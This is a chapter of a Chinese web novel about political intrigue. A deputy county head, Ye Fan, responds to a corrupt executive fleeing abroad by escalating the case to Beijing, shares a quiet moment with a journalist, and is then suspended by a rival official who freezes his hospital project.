“是的。”史密斯的声音里带着一丝无奈,“而且,他的航班已经起飞了。”
第200章 一张飞往北美的机票!
夜色如墨,冰冷的手机听筒里,史密斯的声音带着前所未有的凝重,每一个字都像一颗小石子,投进叶凡和苏沐秋之间那片刚刚升温的静谧湖面,激起惊涛骇浪。
“他要跑!”
当这三个字从叶凡口中吐出,苏沐秋下意识地踩了一脚刹车。
车子在空旷的街道上发出一声刺耳的摩擦音,惯性让她的身体前倾,那缕刚刚找到归宿的温暖,瞬间被惊得烟消云散。
她猛地转头,看着叶凡。男人的侧脸在忽明忽暗的路灯下,线条绷得像一张拉满的弓。
那双刚刚还含着几分温存的眼睛,此刻只剩下手术室里才会出现的,极致的冷静和锐利。
“高建业跑了。”叶凡挂断电话,言简意赅。
苏沐秋的心沉了下去。
她不是官场中人,但也明白这意味着什么。
主犯逃脱,意味着最直接的证据链断裂。这就像一场精心准备的手术,病人已经开胸,主刀医生却发现,最核心的肿瘤,长了翅膀,飞了。
剩下的只有一腔无法缝合的血肉和烂摊子。
“那……那怎么办?”她的声音里带着自己都未察觉的颤抖。
这已经超出了一个记者的职业范畴,她是在为叶凡担心。
高家兄弟肯定会疯狂反扑,而叶凡,将首当其冲。
叶凡没有立刻回答。
他靠在椅背上,闭上了眼睛。
他的大脑像一台超级计算机,在疯狂运转。
高建业跑了,高建民会怎么想?
他会觉得自己的弟弟安全了,再无后顾之忧。
一个没有了后顾之忧的****会用怎样雷霆万钧的手段来报复那个差点掀翻他家族的人?
王海东的审计,青山镇的翻旧账,都只是开胃小菜。
真正致命的打击,即将到来。
车厢里死一般的寂静。苏沐秋甚至能听到自己心跳的声音。
她看着叶凡,这个男人似乎永远都是这样,天塌下来的时候,他想的不是怎么躲,而是怎么把天给顶回去。
忽然,叶凡睁开了眼。
“沐秋,送我回办公室。”他的声音恢复了平稳,“然后,帮我做一件事。”
“什么事?”
“回去,好好睡一觉。”
苏沐秋一愣,鼻头莫名一酸。
都这种时候了,他还在关心自己睡不睡得好。
她没说话,只是重新发动了车子,方向盘握得更紧了。
县政府办公室灯火通明。
**在得到消息后,第一时间冲了进来,那张平时还算儒雅的脸上此刻写满了惊慌失措,活像一只被猎人堵在洞口的地鼠。
“跑了?我的祖宗,你怎么还坐得住啊!”**一屁股坐在沙发上,差点把弹簧给坐断了,“关门打狗,狗都飞到太平洋上空了!这下完了,咱们这门关了个寂寞,回头人家带着狼牙棒杀回来,咱们俩就是那门板上的肉,任人宰割啊!”
他急得抓耳挠腮,在办公室里团团转,嘴里念念有词:“我就说,我就说这事儿玩得太大了,****的亲弟弟,那是好惹的吗?这下好了,人家跑了,死无对证!高建民那老狐狸肯定要把这盆脏水全扣到我们头上!诬告!这是赤裸裸的诬告!”
叶凡看着他六神无主的样子,非但没急,反而被他逗笑了。
“李县长,别转了,我看着头晕。”他慢条斯理地给**倒了杯热茶,“谁告诉你狗飞了,这门就白关了?”
“那不然呢?”**接过茶杯,一口灌下去,烫得龇牙咧嘴。
“你见过哪条狗飞了,还把自己的五脏六腑都留在原地的?”叶凡的眼睛里闪着一种让**看不懂的光,“高建业是跑了,但华瑞医药还在江城,那些有问题的药品还在各大医院的药房里,那些被毒害的病人还在病床上躺着。他跑的只是一个躯壳,这起案件的‘病理组织’,全都留在了江城。”
**听得一愣一愣的:“病理组织?”
“对。”叶凡拿起桌上的电话,“而且,他这一跑,反而帮了我们一个大忙。他把一场地方性的医疗**案升级成了一起性质恶劣的‘畏罪潜逃国际案件’。你觉得,这盘棋的棋盘,还仅仅是在江城吗?”
他拨通了那个来自京城的号码。
电话响了三声,被接起,听筒里传来林建业秘书沉稳的声音。
“小叶同志,这么晚了,有紧急情况?”
“是的。”叶凡的声音清晰而冷静,“向林司长汇报。青川国际医院项目的潜在风险,出现了重大升级。”
他没有提华瑞医药,没有提贪腐,更没有提高建民。他只谈项目。
“我们发现,江城市本地的一家大型医药集团,也就是康普顿医学中心在华的潜在合作伙伴之一,其核心产品可能存在严重的安全隐患和数据**问题。该集团董事长高建业,已于今晚,在未通知任何合作方的情况下,紧急离境,去向不明。”
叶凡顿了顿,给了对方消化的时间,然后抛出了最关键的一句话。
“我个人判断,这起事件,已经对青川国际医院这个国家级试点项目的国际声誉、投资安全以及未来运营的合规性,构成了系统性威胁。我建议,由更高层面,对江城市的整体营商环境和医疗市场秩序,进行一次全面的‘健康评估’。”
电话那头沉默了足足半分钟。
**紧张地屏住了呼吸,他仿佛能听到自己心脏狂跳的声音。
他终于明白了叶凡的意图。
叶凡不是在告状,他是在递刀子!
他把高家的罪行打包成了一个威胁“国家战略”的巨大风险,直接捅到了最高层!
高建民想把这事压在江城内部解决,叶凡偏要把天给捅破,让所有人都来看!
“我明白了。”林建业的秘书声音变得无比严肃,“小叶同志,你的判断很重要。请你保持冷静,继续你的本职工作,确保青川县的稳定。我们会尽快研究,给你答复。”
挂断电话,叶凡长长地舒了一口气。
**看着他,眼神里充满了敬畏和一丝恐惧。
他感觉自己看着的不是一个副县长,而是一个在悬崖峭壁上走钢丝的魔术师,每一步都惊心动魄,却又总能化险为夷。
“老弟……你这是,把高建民架在火上烤啊。”
“不。”叶凡摇摇头,“我只是把烤架,从他家后院,搬到了**广场。”
“咚咚咚!”
就在这时,办公室的门被敲响,苏沐秋去而复返。
她手里提着一个保温桶,还有一份打包的夜宵。
“我猜你肯定没吃饭。”她把东西放在茶几上,打开保温桶,是一碗热气
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腾腾的排骨汤。
她没有看叶凡,只是低着头,默默地盛出一碗,推到他面前,动作自然得像是做过千百遍。
办公室里紧张凝重的气氛,瞬间被这碗汤的香气冲淡了许多。
**看看叶凡,又看看苏沐秋,脸上露出了一个“我懂的”的暧昧笑容,很识趣地找了个借口:“哎呀,我得赶紧去部署一下,欢迎王市长明天继续来‘军训’!你们慢用,慢用!”
说完,他脚底抹油,溜了。
办公室里只剩下叶凡和苏沐秋两个人。
叶凡看着眼前的汤,心里某个地方像是被一根柔软的羽毛轻轻拂过。
他端起碗,喝了一口,温暖的汤顺着食道滑入胃里,驱散了深夜的寒意和连日来的疲惫。
“谢谢。”他轻声说。
“你教我看心电图的承诺,还算数吧?”苏沐秋没接他的话,反而问了一个不相干的问题。
“算数。”
“那就行。”她像是松了口气,拿起一个包子,小口地吃了起来,脸颊鼓鼓的,像只小仓鼠。
两人谁也没再说话,但一种无言的默契,在空气中悄然滋生。
他懂她的关心,她也懂他的压力。
有些情感,无需言说,一个眼神,一碗热汤,足矣。
就在这难得的温馨时刻,叶凡的手机再次响起。
是王海东。
叶凡按下接听键,免提打开。
听筒里,传来王海东压抑不住的,带着几分幸灾乐祸和居高临下的声音。
“叶凡同志,睡了没啊?这么晚打扰你,不好意思啊。”他的语气充满了虚伪的客气。
“王市长,有何指示?”
“指示谈不上。”王海东的声音里透着一股大权在握的得意,“就是通知你一下。经过我们督导组和联合调查组的初步核查,发现青川国际医院项目在前期筹备中,存在一些……嗯,不太合规的地方。青山镇那边的旧账,也有些模糊不清。高**对此高度重视,指示我们,要本着对国家财产和人民负责的态度,进行更深入、更全面的调查。”
来了。
叶凡的眼神一凛。
“所以呢?”
“所以,”王海东的声音陡然拔高,充满了胜利者的姿态,“经****会研究决定,从明天开始,青川国际医院项目暂时停止一切对外接洽和资金支出!项目所有账户由联合调查组和县财政共同监管,进行封存!什么时候解封,等我们调查清楚再说!”
“另外,”王海东似乎觉得还不够,又补上了一刀,“你作为项目的主要负责人,在调查期间,暂时就不必参与项目工作了。好好配合张处长的财务审计,把自己的问题先说清楚。听明白了吗?”
“知道了!”
叶凡说完,直接挂断了电话。
办公室里,死一般的寂静。
苏沐秋手里的包子掉在了桌上,她看着叶凡,美丽的眼睛里写满了震惊和愤怒。
釜底抽薪!
这是最狠毒的一招!
高建民不仅砍掉了叶凡的职权,还冻结了整个项目的生命线。
一个没有资金、没有权力的项目,就是一具僵尸。
所有前期的努力都将化为泡影。而叶凡则成了一个被架空、等待审判的“犯人”。
高家的反击比想象中来得更快,更猛烈。